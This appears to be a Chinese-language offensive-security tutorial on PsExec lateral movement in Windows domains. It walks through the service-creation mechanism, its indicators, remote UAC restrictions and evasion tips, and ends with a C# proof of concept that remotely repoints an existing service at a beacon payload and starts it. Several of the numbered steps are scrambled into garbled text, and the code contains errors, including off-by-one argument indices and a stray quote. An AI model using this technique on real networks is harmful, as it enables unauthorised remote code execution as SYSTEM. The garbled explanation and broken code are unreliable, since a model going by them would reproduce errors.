Skip to main content

PsExec

横向移动,即通过对网络中的其他主机实现访问和控制从而扩大我们的占领范围,本质是因为我们已经拿下的资源 (用户、主机等)对其他主机具有特定的权限。在之前的章节,我们通过各种域攻击手法,例如 DACL 利用、组策略利用等,攻陷了更多的用户和主机。之前,我们能对其他主机实现资源访问、代码执行,现在,我们想要获得来自这些主机的 Beacon 或 Shell。尽管横向移动的真正难点在于攻陷这些具有权限的用户或主机从而实现对他们的模仿获得特权,但在不同情况下选择最合适的横向移动方法也很重要,因为不同的横向移动方法所需要的需求不一样,也有着不同的 IOC。IoC。 

当我们在企业网络中获得了具有权限的帐号之后,我们可以进一步扩大攻击领域,通过横向移动,获得对其他主机的控制权。横向移动,不仅仅是一种移动方式,更是我们在域内提权过程中的收获。横向移动的方式有诸多,其中 PsExec 是最知名的一种。

PsExec 是攻击者最青睐的横向移动方式之一,通过 PsExec 横向移动之后,攻击者可以获得 NT AUTHORITY\SYSTEM 的权限。同名工具 PsExec 是微软 Sysinternals suiteSuite 中的一部分 (https://learn.microsoft.com/en-us/sysinternals/downloads/psexec),正因为是微软的工具,因此不会受到杀毒软件的封锁。不过因为被广泛滥用,一些安全产品还是会封锁。接下来,我们来分解一下工具 PsExec 的原理,通过 PsExec 横移动的原理可以略有不同,以下只是 PsExec.exe 的实现:

1:PsExec 工具会上传服务二进制文件 psexecsvc.exe 至目标主机SMBADMIN$ 服务认证通常是目录 SYSTEM 权限获得对目标主机的远程访问。PsExec c:\Windows
2:通过访问调用 SCMOpenSCManager (服务控制管理器),CreateService API 在目标主机上拷贝一创建新服务,指向上传的这个服务二进制文件,创建一个新的
3:调用 StartService API 启动服务并且
4:PsExec 通过命名管道psexecsvc.exe 进行通信,其中 CreateFile 用于打开对命名管道的句柄,ReadFile 以及 WriteFile 用户发送和接收数据
5:PsExec 将要执行的命令通过命名管道发送给 psexecsvc.exe,调用 CreateProcess 运行命令
6:使用结束后最终获得交互式访问。因此通过调用 DeleteService API 来删除服务

来看看上述过程中的一些 IoC,如下图所示如果我们拿下了一个用户,该用户对其他主机具有本地管理员特权,那么我们可以看到 PSEXECSVC 服务被安装然后启动。

image.png

image.png

攻击者可以通过自定义服务名上传目录、自定义服务二进制文件等方式改善 psexecOPSEC。

横向移动到目标主机上。也就是前提条件有二,目标主机开启445端口,

image.png

PsExec 需要用户对目标主机具有本地管理员,并且需要 445 端口开启。但是 2022 年的一份研究 (https://pentera.io/blog/135-is-the-new-445/) 表明,只开启端口 135 也是可以实现的。对于非默认的本地管理员组账户 (例如 admin),如果在开启了远程 UAC (默认开启),即本地账户令牌过滤策略 (https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction),使用 PsExec (对于一些其他方式的横向移动也适用) 进行横向移动会被阻止。例如,我们拥有了某主机的一个非默认本地管理员账户 admin 凭证,我们想通过 PsExec 远程访问该主机并获得 SYSTEM 权限,但会发现访问失败,这就是远程 UAC 的效果,对于域账户不适用

image.png

PsExec.exe 是 Sysinternals suite 中的工具,并且因为是微软签名的,并不会被 AV 所拦截。除此之外,诸多 C2 框架也自带了 psexec 横向移动的特性,例如 Meterpreter, CobaltStrike 等,但由于这些 C2 框架生成的服务二进制文件的特征与一般 agent 相似,因此十分容易被 AV 捕捉。在了解了 psexec 的工作原理后,我们可以实现自定义的 psexec 载荷。PoC 如下:

该代码接受的第一个参数为目标主机名,例如 srv01,第二个参数为服务名,例如 SensorService,第三个参数为要执行的二进制文件地址,例如 C:\windows\tasks\beacon.exe。我们来分析该代码,先是通过 SCM API 向 SMB 进行认证,在认证完成之后,打开一个现有的服务,为了确保总是成功,我们尽可能选择一个会出现在所有操作系统和所有版本上的服务,例如 SensorService。之后,修改该服务的配置,即服务二进制文件的地址。最后,启动该服务。但是,我们需要注意,服务所对应的二进制文件应当是服务二进制文件,因此如果我们指向了普通的 exe 文件,那么该程序会很快退出。因此,我们可以通过给载荷文件添加进程注入等操作,以避免短时间内退出的情况。

我们还可以使用 impacket 来实现 psexec的横向移动。根据输出信息,我们可以得知原理跟我们上述所讲的是一样的。

image.png


尽管 psexec 是 Windows 原生的工具,因为攻击者普遍用其来实施横向移动,因此一些 EDR 也会把 psexec 添加至黑名单,以及从原理上监控通过 psexec 实现横向移动的行为。 

Windows InternalSysinternal PsExec


C2 

jump-psexec


第三方工具

Impacket


PaExec


BOF scshell


编程实现
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;

namespace movement
{
    class Program
    {
        [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);
        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);
        [DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);
        [DllImport("advapi32", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);
        static void Main(string[] args)
        {
            String target = args[1];
            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);
            string ServiceName = args[2]";
            IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);
            string payload = args[3];
            bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);
            bResult = StartService(schService, 0, null);
        }
    }
}